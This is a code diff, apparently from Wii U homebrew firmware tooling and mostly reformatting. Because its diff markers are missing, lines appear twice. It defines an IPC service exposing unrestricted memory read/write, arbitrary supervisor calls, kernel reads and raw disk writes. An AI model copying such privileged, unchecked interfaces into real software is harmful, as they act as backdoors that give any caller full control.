u8 *outbuf8 = &iobuf[0x520];
iovec_s *iovec = (iovec_s *) &iobuf[0x7C0];
u32 *inbuf = (u32 *) inbuf8;
u32 *outbuf = (u32 *) outbuf8;
inbuf[0x08 / 4] = (blocks_offset >> 32);
inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF);
inbuf[0x10 / 4] = cnt;
inbuf[0x14 / 4] = size_bytes;
inbuf[0x18 / 4] = device_handle;
inbuf[0x08 / 4] = (blocks_offset >> 32);
inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF);
inbuf[0x10 / 4] = cnt;
inbuf[0x14 / 4] = size_bytes;
inbuf[0x18 / 4] = device_handle;
iovec[0].ptr = inbuf;
iovec[0].len = 0x520;
iovec[0].ptr = inbuf;
iovec[0].len = 0x520;
iovec[1].ptr = data;
iovec[1].len = size_bytes * cnt;
iovec[1].ptr = data;
iovec[1].len = size_bytes * cnt;
iovec[2].ptr = outbuf;
iovec[2].len = 0x293;
iovec[2].ptr = outbuf;
iovec[2].len = 0x293;
int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec);
int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}

View File

@ -1,26 +1,24 @@
#ifndef FSA_H
#define FSA_H
typedef struct
{
typedef struct {
u32 flag;
u32 permission;
u32 owner_id;
u32 group_id;
u32 size; // size in bytes
u32 physsize; // physical size on disk in bytes
u32 unk[3];
u32 id;
u32 ctime;
u32 mtime;
u32 unk2[0x0D];
}fileStat_s;
u32 size; // size in bytes
u32 physsize; // physical size on disk in bytes
u32 unk[3];
u32 id;
u32 ctime;
u32 mtime;
u32 unk2[0x0D];
} fileStat_s;
typedef struct
{
typedef struct {
fileStat_s stat;
char name[0x100];
}directoryEntry_s;
char name[0x100];
} directoryEntry_s;
#define DIR_ENTRY_IS_DIRECTORY 0x80000000
@ -29,31 +27,48 @@ typedef struct
int FSA_Open();
int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len);
int FSA_Unmount(int fd, char* path, u32 flags);
int FSA_Mount(int fd, char *device_path, char *volume_path, u32 flags, char *arg_string, int arg_string_len);
int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data);
int FSA_Unmount(int fd, char *path, u32 flags);
int FSA_GetDeviceInfo(int fd, char *device_path, int type, u32 *out_data);
int FSA_MakeDir(int fd, char *path, u32 flags);
int FSA_OpenDir(int fd, char *path, int *outHandle);
int FSA_ReadDir(int fd, int handle, directoryEntry_s *out_data);
int FSA_MakeDir(int fd, char* path, u32 flags);
int FSA_OpenDir(int fd, char* path, int* outHandle);
int FSA_ReadDir(int fd, int handle, directoryEntry_s* out_data);
int FSA_RewindDir(int fd, int handle);
int FSA_CloseDir(int fd, int handle);
int FSA_ChangeDir(int fd, char* path);
int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle);
int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags);
int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags);
int FSA_StatFile(int fd, int handle, fileStat_s* out_data);
int FSA_CloseDir(int fd, int handle);
int FSA_ChangeDir(int fd, char *path);
int FSA_OpenFile(int fd, char *path, char *mode, int *outHandle);
int FSA_ReadFile(int fd, void *data, u32 size, u32 cnt, int fileHandle, u32 flags);
int FSA_WriteFile(int fd, void *data, u32 size, u32 cnt, int fileHandle, u32 flags);
int FSA_StatFile(int fd, int handle, fileStat_s *out_data);
int FSA_CloseFile(int fd, int fileHandle);
int FSA_SetPosFile(int fd, int fileHandle, u32 position);
int FSA_GetStat(int fd, char *path, fileStat_s* out_data);
int FSA_GetStat(int fd, char *path, fileStat_s *out_data);
int FSA_Remove(int fd, char *path);
int FSA_ChangeMode(int fd, char *path, int mode);
int FSA_RawOpen(int fd, char* device_path, int* outHandle);
int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle);
int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle);
int FSA_RawOpen(int fd, char *device_path, int *outHandle);
int FSA_RawRead(int fd, void *data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle);
int FSA_RawWrite(int fd, void *data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle);
int FSA_RawClose(int fd, int device_handle);
#endif

View File

@ -1,26 +1,26 @@
#include "imports.h"
void usleep(u32 time) {
((void (*const)(u32))0x050564E4)(time);
((void (*const)(u32)) 0x050564E4)(time);
}
void* memset(void* dst, int val, size_t size) {
char* _dst = dst;
void *memset(void *dst, int val, size_t size) {
char *_dst = dst;
int i;
for(i = 0; i < size; i++)
for (i = 0; i < size; i++)
_dst[i] = val;
return dst;
}
void* (*const _memcpy)(void* dst, void* src, int size) = (void*)0x05054E54;
void *(*const _memcpy)(void *dst, void *src, int size) = (void *) 0x05054E54;
void* memcpy(void* dst, const void* src, size_t size) {
return _memcpy(dst, (void*)src, size);
void *memcpy(void *dst, const void *src, size_t size) {
return _memcpy(dst, (void *) src, size);
}
int strlen(const char* str) {
int strlen(const char *str) {
unsigned int i = 0;
while (str[i]) {
i++;
@ -28,23 +28,23 @@ int strlen(const char* str) {
return i;
}
int strncmp( const char * s1, const char * s2, size_t n ) {
while ( n && *s1 && ( *s1 == *s2 ) ) {
int strncmp(const char *s1, const char *s2, size_t n) {
while (n && *s1 && (*s1 == *s2)) {
++s1;
++s2;
--n;
}
if ( n == 0 ) {
if (n == 0) {
return 0;
} else {
return ( *(unsigned char *)s1 - *(unsigned char *)s2 );
return (*(unsigned char *) s1 - *(unsigned char *) s2);
}
}
// Function to implement strncat() function in C
char* strncat(char* destination, const char* source, size_t num) {
char *strncat(char *destination, const char *source, size_t num) {
// make ptr point to the end of destination string
char* ptr = destination + strlen(destination);
char *ptr = destination + strlen(destination);
// Appends characters of source to the destination string
while (*source != '\0' && num--)
@ -57,17 +57,17 @@ char* strncat(char* destination, const char* source, size_t num) {
return destination;
}
char* strncpy(char* dst, const char* src, size_t size) {
char *strncpy(char *dst, const char *src, size_t size) {
int i;
for(i = 0; i < size; i++) {
for (i = 0; i < size; i++) {
dst[i] = src[i];
if(src[i] == '\0')
if (src[i] == '\0')
return dst;
}
return dst;
}
int vsnprintf(char * s, size_t n, const char * format, va_list arg) {
return ((int (*const)(char*, size_t, const char *, va_list))0x05055C40)(s, n, format, arg);
int vsnprintf(char *s, size_t n, const char *format, va_list arg) {
return ((int (*const)(char *, size_t, const char *, va_list)) 0x05055C40)(s, n, format, arg);
}

View File

@ -77,398 +77,332 @@
static int ipcNodeKilled;
static u8 threadStack[0x1000] __attribute__((aligned(0x20)));
static int ipc_ioctl(ipcmessage *message)
{
static int ipc_ioctl(ipcmessage *message) {
int res = 0;
switch(message->ioctl.command)
{
case IOCTL_MEM_WRITE:
{
if(message->ioctl.length_in < 4)
{
res = IOS_ERROR_INVALID_SIZE;
switch (message->ioctl.command) {
case IOCTL_MEM_WRITE: {
if (message->ioctl.length_in < 4) {
res = IOS_ERROR_INVALID_SIZE;
} else {
memcpy((void *) message->ioctl.buffer_in[0], message->ioctl.buffer_in + 1, message->ioctl.length_in - 4);
}
break;
}
else
{
memcpy((void*)message->ioctl.buffer_in[0], message->ioctl.buffer_in + 1, message->ioctl.length_in - 4);
case IOCTL_MEM_READ: {
if (message->ioctl.length_in < 4) {
res = IOS_ERROR_INVALID_SIZE;
} else {
memcpy(message->ioctl.buffer_io, (void *) message->ioctl.buffer_in[0], message->ioctl.length_io);
}
break;
}
break;
}
case IOCTL_MEM_READ:
{
if(message->ioctl.length_in < 4)
{
res = IOS_ERROR_INVALID_SIZE;
}
else
{
memcpy(message->ioctl.buffer_io, (void*)message->ioctl.buffer_in[0], message->ioctl.length_io);
}
break;
}
case IOCTL_SVC:
{
if((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4))
{
res = IOS_ERROR_INVALID_SIZE;
}
else
{
int svc_id = message->ioctl.buffer_in[0];
int size_arguments = message->ioctl.length_in - 4;
case IOCTL_SVC: {
if ((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) {
res = IOS_ERROR_INVALID_SIZE;
} else {
int svc_id = message->ioctl.buffer_in[0];
int size_arguments = message->ioctl.length_in - 4;
u32 arguments[8];
memset(arguments, 0x00, sizeof(arguments));
memcpy(arguments, message->ioctl.buffer_in + 1, (size_arguments < 8 * 4) ? size_arguments : (8 * 4));
u32 arguments[8];
memset(arguments, 0x00, sizeof(arguments));
memcpy(arguments, message->ioctl.buffer_in + 1, (size_arguments < 8 * 4) ? size_arguments : (8 * 4));
// return error code as data
message->ioctl.buffer_io[0] = ((int (*const)(u32, u32, u32, u32, u32, u32, u32, u32))(MCP_SVC_BASE + svc_id * 8))(arguments[0], arguments[1], arguments[2], arguments[3], arguments[4], arguments[5], arguments[6], arguments[7]);
// return error code as data
message->ioctl.buffer_io[0] = ((int (*const)(u32, u32, u32, u32, u32, u32, u32, u32)) (MCP_SVC_BASE + svc_id * 8))(arguments[0], arguments[1], arguments[2], arguments[3], arguments[4], arguments[5], arguments[6],
arguments[7]);
}
break;
}
break;
}
case IOCTL_KILL_SERVER:
{
ipcNodeKilled = 1;
wupserver_deinit();
break;
}
case IOCTL_MEMCPY:
{
if(message->ioctl.length_in < 12)
{
res = IOS_ERROR_INVALID_SIZE;
case IOCTL_KILL_SERVER: {
ipcNodeKilled = 1;
wupserver_deinit();
break;
}
else
{
memcpy((void*)message->ioctl.buffer_in[0], (void*)message->ioctl.buffer_in[1], message->ioctl.buffer_in[2]);
case IOCTL_MEMCPY: {
if (message->ioctl.length_in < 12) {
res = IOS_ERROR_INVALID_SIZE;
} else {
memcpy((void *) message->ioctl.buffer_in[0], (void *) message->ioctl.buffer_in[1], message->ioctl.buffer_in[2]);
}
break;
}
break;
}
case IOCTL_REPEATED_WRITE:
{
if(message->ioctl.length_in < 12)
{
res = IOS_ERROR_INVALID_SIZE;
}
else
{
u32* dst = (u32*)message->ioctl.buffer_in[0];
u32* cache_range = (u32*)(message->ioctl.buffer_in[0] & ~0xFF);
u32 value = message->ioctl.buffer_in[1];
u32 n = message->ioctl.buffer_in[2];
case IOCTL_REPEATED_WRITE: {
if (message->ioctl.length_in < 12) {
res = IOS_ERROR_INVALID_SIZE;
} else {
u32 *dst = (u32 *) message->ioctl.buffer_in[0];
u32 *cache_range = (u32 *) (message->ioctl.buffer_in[0] & ~0xFF);
u32 value = message->ioctl.buffer_in[1];
u32 n = message->ioctl.buffer_in[2];
u32 old = *dst;
int i;
for(i = 0; i < n; i++)
{
if(*dst != old)
{
if(*dst == 0x0) old = *dst;
else
{
*dst = value;
svcFlushDCache(cache_range, 0x100);
break;
u32 old = *dst;
int i;
for (i = 0; i < n; i++) {
if (*dst != old) {
if (*dst == 0x0) old = *dst;
else {
*dst = value;
svcFlushDCache(cache_range, 0x100);
break;
}
} else {
svcInvalidateDCache(cache_range, 0x100);
usleep(50);
}
}else
{
svcInvalidateDCache(cache_range, 0x100);
usleep(50);
}
}
break;
}
break;
}
case IOCTL_KERN_READ32:
{
if((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4))
{
res = IOS_ERROR_INVALID_SIZE;
}
else
{
for(u32 i = 0; i < (message->ioctl.length_io/4); i++)
{
message->ioctl.buffer_io[i] = svcCustomKernelCommand(KERNEL_READ32, message->ioctl.buffer_in[0] + i * 4);
case IOCTL_KERN_READ32: {
if ((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) {
res = IOS_ERROR_INVALID_SIZE;
} else {
for (u32 i = 0; i < (message->ioctl.length_io / 4); i++) {
message->ioctl.buffer_io[i] = svcCustomKernelCommand(KERNEL_READ32, message->ioctl.buffer_in[0] + i * 4);
}
}
break;
}
break;
}
case IOCTL_KERN_WRITE32:
{
//! TODO: add syscall as on kern_read32
res = IOS_ERROR_NOEXISTS;
break;
}
//!--------------------------------------------------------------------------------------------------------------
//! FSA handles for better performance
//!--------------------------------------------------------------------------------------------------------------
//! TODO: add checks for i/o buffer length
case IOCTL_FSA_OPEN:
{
message->ioctl.buffer_io[0] = svcOpen("/dev/fsa", 0);
break;
}
case IOCTL_FSA_CLOSE:
{
int fd = message->ioctl.buffer_in[0];
message->ioctl.buffer_io[0] = svcClose(fd);
break;
}
case IOCTL_FSA_MOUNT:
{
int fd = message->ioctl.buffer_in[0];
char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
char *volume_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2];
u32 flags = message->ioctl.buffer_in[3];
char *arg_string = (message->ioctl.buffer_in[4] > 0) ? (((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[4]) : 0;
int arg_string_len = message->ioctl.buffer_in[5];
case IOCTL_KERN_WRITE32: {
//! TODO: add syscall as on kern_read32
res = IOS_ERROR_NOEXISTS;
break;
}
//!--------------------------------------------------------------------------------------------------------------
//! FSA handles for better performance
//!--------------------------------------------------------------------------------------------------------------
//! TODO: add checks for i/o buffer length
case IOCTL_FSA_OPEN: {
message->ioctl.buffer_io[0] = svcOpen("/dev/fsa", 0);
break;
}
case IOCTL_FSA_CLOSE: {
int fd = message->ioctl.buffer_in[0];
message->ioctl.buffer_io[0] = svcClose(fd);
break;
}
case IOCTL_FSA_MOUNT: {
int fd = message->ioctl.buffer_in[0];
char *device_path = ((char *) message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
char *volume_path = ((char *) message->ioctl.buffer_in) + message->ioctl.buffer_in[2];
u32 flags = message->ioctl.buffer_in[3];
char *arg_string = (message->ioctl.buffer_in[4] > 0) ? (((char *) message->ioctl.buffer_in) + message->ioctl.buffer_in[4]) : 0;
int arg_string_len = message->ioctl.buffer_in[5];
message->ioctl.buffer_io[0] = FSA_Mount(fd, device_path, volume_path, flags, arg_string, arg_string_len);
break;
}
case IOCTL_FSA_UNMOUNT:
{
int fd = message->ioctl.buffer_in[0];
char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
u32 flags = message->ioctl.buffer_in[2];
message->ioctl.buffer_io[0] = FSA_Mount(fd, device_path, volume_path, flags, arg_string, arg_string_len);
break;
}
case IOCTL_FSA_UNMOUNT: {
int fd = message->ioctl.buffer_in[0];
char *device_path = ((char *) message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
u32 flags = message->ioctl.buffer_in[2];
message->ioctl.buffer_io[0] = FSA_Unmount(fd, device_path, flags);
break;
}
case IOCTL_FSA_GETDEVICEINFO:
{
int fd = message->ioctl.buffer_in[0];
char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
int type = message->ioctl.buffer_in[2];
message->ioctl.buffer_io[0] = FSA_Unmount(fd, device_path, flags);
break;
}
case IOCTL_FSA_GETDEVICEINFO: {
int fd = message->ioctl.buffer_in[0];
char *device_path = ((char *) message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
int type = message->ioctl.buffer_in[2];
message->ioctl.buffer_io[0] = FSA_GetDeviceInfo(fd, device_path, type, message->ioctl.buffer_io + 1);
break;
}
case IOCTL_FSA_OPENDIR:
{
int fd = message->ioctl.buffer_in[0];
char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_GetDeviceInfo(fd, device_path, type, message->ioctl.buffer_io + 1);
break;
}
case IOCTL_FSA_OPENDIR: {
int fd = message->ioctl.buffer_in[0];
char *path = ((char *) message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_OpenDir(fd, path, (int*)message->ioctl.buffer_io + 1);
break;
}
case IOCTL_FSA_READDIR:
{
int fd = message->ioctl.buffer_in[0];
int handle = message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_OpenDir(fd, path, (int *) message->ioctl.buffer_io + 1);
break;
}
case IOCTL_FSA_READDIR: {
int fd = message->ioctl.buffer_in[0];
int handle = message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_ReadDir(fd, handle, (directoryEntry_s*)(message->ioctl.buffer_io + 1));
break;
}
case IOCTL_FSA_CLOSEDIR:
{
int fd = message->ioctl.buffer_in[0];
int handle = message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_ReadDir(fd, handle, (directoryEntry_s *) (message->ioctl.buffer_io + 1));
break;
}
case IOCTL_FSA_CLOSEDIR: {
int fd = message->ioctl.buffer_in[0];
int handle = message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_CloseDir(fd, handle);
break;
}
case IOCTL_FSA_MAKEDIR:
{
int fd = message->ioctl.buffer_in[0];
char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
u32 flags = message->ioctl.buffer_in[2];
message->ioctl.buffer_io[0] = FSA_CloseDir(fd, handle);
break;
}
case IOCTL_FSA_MAKEDIR: {
int fd = message->ioctl.buffer_in[0];
char *path = ((char *) message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
u32 flags = message->ioctl.buffer_in[2];
message->ioctl.buffer_io[0] = FSA_MakeDir(fd, path, flags);
break;
}
case IOCTL_FSA_OPENFILE:
{
int fd = message->ioctl.buffer_in[0];
char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
char *mode = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2];
message->ioctl.buffer_io[0] = FSA_MakeDir(fd, path, flags);
break;
}
case IOCTL_FSA_OPENFILE: {
int fd = message->ioctl.buffer_in[0];
char *path = ((char *) message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
char *mode = ((char *) message->ioctl.buffer_in) + message->ioctl.buffer_in[2];
message->ioctl.buffer_io[0] = FSA_OpenFile(fd, path, mode, (int*)message->ioctl.buffer_io + 1);
break;
}
case IOCTL_FSA_READFILE:
{
int fd = message->ioctl.buffer_in[0];
u32 size = message->ioctl.buffer_in[1];
u32 cnt = message->ioctl.buffer_in[2];
int fileHandle = message->ioctl.buffer_in[3];
u32 flags = message->ioctl.buffer_in[4];
message->ioctl.buffer_io[0] = FSA_OpenFile(fd, path, mode, (int *) message->ioctl.buffer_io + 1);
break;
}
case IOCTL_FSA_READFILE: {
int fd = message->ioctl.buffer_in[0];
u32 size = message->ioctl.buffer_in[1];
u32 cnt = message->ioctl.buffer_in[2];
int fileHandle = message->ioctl.buffer_in[3];
u32 flags = message->ioctl.buffer_in[4];
message->ioctl.buffer_io[0] = FSA_ReadFile(fd, ((u8*)message->ioctl.buffer_io) + 0x40, size, cnt, fileHandle, flags);
break;
}
case IOCTL_FSA_WRITEFILE:
{
int fd = message->ioctl.buffer_in[0];
u32 size = message->ioctl.buffer_in[1];
u32 cnt = message->ioctl.buffer_in[2];
int fileHandle = message->ioctl.buffer_in[3];
u32 flags = message->ioctl.buffer_in[4];
message->ioctl.buffer_io[0] = FSA_ReadFile(fd, ((u8 *) message->ioctl.buffer_io) + 0x40, size, cnt, fileHandle, flags);
break;
}
case IOCTL_FSA_WRITEFILE: {
int fd = message->ioctl.buffer_in[0];
u32 size = message->ioctl.buffer_in[1];
u32 cnt = message->ioctl.buffer_in[2];
int fileHandle = message->ioctl.buffer_in[3];
u32 flags = message->ioctl.buffer_in[4];
message->ioctl.buffer_io[0] = FSA_WriteFile(fd, ((u8*)message->ioctl.buffer_in) + 0x40, size, cnt, fileHandle, flags);
break;
}
case IOCTL_FSA_STATFILE:
{
int fd = message->ioctl.buffer_in[0];
int fileHandle = message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_WriteFile(fd, ((u8 *) message->ioctl.buffer_in) + 0x40, size, cnt, fileHandle, flags);
break;
}
case IOCTL_FSA_STATFILE: {
int fd = message->ioctl.buffer_in[0];
int fileHandle = message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_StatFile(fd, fileHandle, (fileStat_s*)(message->ioctl.buffer_io + 1));
break;
}
case IOCTL_FSA_CLOSEFILE:
{
int fd = message->ioctl.buffer_in[0];
int fileHandle = message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_StatFile(fd, fileHandle, (fileStat_s *) (message->ioctl.buffer_io + 1));
break;
}
case IOCTL_FSA_CLOSEFILE: {
int fd = message->ioctl.buffer_in[0];
int fileHandle = message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_CloseFile(fd, fileHandle);
break;
}
case IOCTL_FSA_SETFILEPOS:
{
int fd = message->ioctl.buffer_in[0];
int fileHandle = message->ioctl.buffer_in[1];
u32 position = message->ioctl.buffer_in[2];
message->ioctl.buffer_io[0] = FSA_CloseFile(fd, fileHandle);
break;
}
case IOCTL_FSA_SETFILEPOS: {
int fd = message->ioctl.buffer_in[0];
int fileHandle = message->ioctl.buffer_in[1];
u32 position = message->ioctl.buffer_in[2];
message->ioctl.buffer_io[0] = FSA_SetPosFile(fd, fileHandle, position);
break;
}
case IOCTL_FSA_GETSTAT:
{
int fd = message->ioctl.buffer_in[0];
char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_SetPosFile(fd, fileHandle, position);
break;
}
case IOCTL_FSA_GETSTAT: {
int fd = message->ioctl.buffer_in[0];
char *path = ((char *) message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_GetStat(fd, path, (fileStat_s*)(message->ioctl.buffer_io + 1));
break;
}
case IOCTL_FSA_REMOVE:
{
int fd = message->ioctl.buffer_in[0];
char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_GetStat(fd, path, (fileStat_s *) (message->ioctl.buffer_io + 1));
break;
}
case IOCTL_FSA_REMOVE: {
int fd = message->ioctl.buffer_in[0];
char *path = ((char *) message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_Remove(fd, path);
break;
}
case IOCTL_FSA_REWINDDIR:
{
int fd = message->ioctl.buffer_in[0];
int dirFd = message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_Remove(fd, path);
break;
}
case IOCTL_FSA_REWINDDIR: {
int fd = message->ioctl.buffer_in[0];
int dirFd = message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_RewindDir(fd, dirFd);
break;
}
case IOCTL_FSA_CHDIR:
{
int fd = message->ioctl.buffer_in[0];
char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_RewindDir(fd, dirFd);
break;
}
case IOCTL_FSA_CHDIR: {
int fd = message->ioctl.buffer_in[0];
char *path = ((char *) message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_ChangeDir(fd, path);
break;
}
case IOCTL_FSA_RAW_OPEN:
{
int fd = message->ioctl.buffer_in[0];
char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_ChangeDir(fd, path);
break;
}
case IOCTL_FSA_RAW_OPEN: {
int fd = message->ioctl.buffer_in[0];
char *path = ((char *) message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_RawOpen(fd, path, (int*)(message->ioctl.buffer_io + 1));
break;
}
case IOCTL_FSA_RAW_READ:
{
int fd = message->ioctl.buffer_in[0];
u32 block_size = message->ioctl.buffer_in[1];
u32 cnt = message->ioctl.buffer_in[2];
u64 sector_offset = ((u64)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4];
int deviceHandle = message->ioctl.buffer_in[5];
message->ioctl.buffer_io[0] = FSA_RawOpen(fd, path, (int *) (message->ioctl.buffer_io + 1));
break;
}
case IOCTL_FSA_RAW_READ: {
int fd = message->ioctl.buffer_in[0];
u32 block_size = message->ioctl.buffer_in[1];
u32 cnt = message->ioctl.buffer_in[2];
u64 sector_offset = ((u64) message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4];
int deviceHandle = message->ioctl.buffer_in[5];
message->ioctl.buffer_io[0] = FSA_RawRead(fd, ((u8*)message->ioctl.buffer_io) + 0x40, block_size, cnt, sector_offset, deviceHandle);
break;
}
case IOCTL_FSA_RAW_WRITE:
{
int fd = message->ioctl.buffer_in[0];
u32 block_size = message->ioctl.buffer_in[1];
u32 cnt = message->ioctl.buffer_in[2];
u64 sector_offset = ((u64)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4];
int deviceHandle = message->ioctl.buffer_in[5];
message->ioctl.buffer_io[0] = FSA_RawRead(fd, ((u8 *) message->ioctl.buffer_io) + 0x40, block_size, cnt, sector_offset, deviceHandle);
break;
}
case IOCTL_FSA_RAW_WRITE: {
int fd = message->ioctl.buffer_in[0];
u32 block_size = message->ioctl.buffer_in[1];
u32 cnt = message->ioctl.buffer_in[2];
u64 sector_offset = ((u64) message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4];
int deviceHandle = message->ioctl.buffer_in[5];
message->ioctl.buffer_io[0] = FSA_RawWrite(fd, ((u8*)message->ioctl.buffer_in) + 0x40, block_size, cnt, sector_offset, deviceHandle);
break;
}
case IOCTL_FSA_RAW_CLOSE:
{
int fd = message->ioctl.buffer_in[0];
int deviceHandle = message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_RawWrite(fd, ((u8 *) message->ioctl.buffer_in) + 0x40, block_size, cnt, sector_offset, deviceHandle);
break;
}
case IOCTL_FSA_RAW_CLOSE: {
int fd = message->ioctl.buffer_in[0];
int deviceHandle = message->ioctl.buffer_in[1];
message->ioctl.buffer_io[0] = FSA_RawClose(fd, deviceHandle);
break;
}
case IOCTL_FSA_CHANGEMODE:
{
int fd = message->ioctl.buffer_in[0];
char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
int mode = message->ioctl.buffer_in[2];
message->ioctl.buffer_io[0] = FSA_RawClose(fd, deviceHandle);
break;
}
case IOCTL_FSA_CHANGEMODE: {
int fd = message->ioctl.buffer_in[0];
char *path = ((char *) message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
int mode = message->ioctl.buffer_in[2];
message->ioctl.buffer_io[0] = FSA_ChangeMode(fd, path, mode);
break;
}
default:
res = IOS_ERROR_INVALID_ARG;
break;
message->ioctl.buffer_io[0] = FSA_ChangeMode(fd, path, mode);
break;
}
default:
res = IOS_ERROR_INVALID_ARG;
break;
}
return res;
}
static int ipc_thread(void *arg)
{
static int ipc_thread(void *arg) {
int res;
ipcmessage *message;
u32 messageQueue[0x10];
int queueId = svcCreateMessageQueue(messageQueue, sizeof(messageQueue) / 4);
if(svcRegisterResourceManager("/dev/iosuhax", queueId) == 0)
{
while(!ipcNodeKilled)
{
if (svcRegisterResourceManager("/dev/iosuhax", queueId) == 0) {
while (!ipcNodeKilled) {
res = svcReceiveMessage(queueId, &message, 0);
if(res < 0)
{
if (res < 0) {
usleep(10000);
continue;
}
switch(message->command)
{
case IOS_OPEN:
{
switch (message->command) {
case IOS_OPEN: {
log_printf("IOS_OPEN\n");
res = 0;
break;
}
case IOS_CLOSE:
{
case IOS_CLOSE: {
log_printf("IOS_CLOSE\n");
res = 0;
break;
}
case IOS_IOCTL:
{
case IOS_IOCTL: {
log_printf("IOS_IOCTL\n");
res = ipc_ioctl(message);
break;
}
case IOS_IOCTLV:
{
case IOS_IOCTLV: {
log_printf("IOS_IOCTLV\n");
res = 0;
break;
}
default:
{
default: {
log_printf("unexpected command 0x%X\n", message->command);
res = IOS_ERROR_UNKNOWN_VALUE;
break;
@ -479,24 +413,21 @@ static int ipc_thread(void *arg)
}
}
svcDestroyMessageQueue(queueId);
return 0;
svcDestroyMessageQueue(queueId);
return 0;
}
void ipc_init(void)
{
void ipc_init(void) {
ipcNodeKilled = 0;
int threadId = svcCreateThread(ipc_thread, 0, (u32*)(threadStack + sizeof(threadStack)), sizeof(threadStack), 0x78, 1);
if(threadId >= 0)
int threadId = svcCreateThread(ipc_thread, 0, (u32 *) (threadStack + sizeof(threadStack)), sizeof(threadStack), 0x78, 1);
if (threadId >= 0)
svcStartThread(threadId);
}
void ipc_deinit(void)
{
void ipc_deinit(void) {
int fd = svcOpen("/dev/iosuhax", 0);
if(fd >= 0)
{
if (fd >= 0) {
int dummy = 0;
svcIoctl(fd, IOCTL_KILL_SERVER, &dummy, sizeof(dummy), &dummy, sizeof(dummy));
svcClose(fd);

View File

@ -2,6 +2,7 @@
#define _IPC_H_
void ipc_init();
void ipc_deinit();
#endif

View File

@ -21,63 +21,56 @@
/* IPC message */
typedef struct ipcmessage
{
u32 command;
u32 result;
u32 fd;
u32 flags;
u32 client_cpu;
u32 client_pid;
u64 client_gid;
u32 server_handle;
typedef struct ipcmessage {
u32 command;
u32 result;
u32 fd;
u32 flags;
u32 client_cpu;
u32 client_pid;
u64 client_gid;
u32 server_handle;
union
{
u32 args[5];
union {
u32 args[5];
struct
{
char *device;
u32 mode;
u32 resultfd;
} open;
struct {
char *device;
u32 mode;
u32 resultfd;
} open;
struct
{
void *data;
u32 length;
} read, write;
struct {
void *data;
u32 length;
} read, write;
struct
{
s32 offset;
s32 origin;
} seek;
struct {
s32 offset;
s32 origin;
} seek;
struct
{
u32 command;
struct {
u32 command;
u32 *buffer_in;
u32 length_in;
u32 *buffer_io;
u32 length_io;
} ioctl;
struct _ioctlv
{
u32 command;
u32 *buffer_in;
u32 length_in;
u32 *buffer_io;
u32 length_io;
} ioctl;
struct _ioctlv {
u32 command;
u32 num_in;
u32 num_io;
struct _ioctlv *vector;
} ioctlv;
};
u32 num_in;
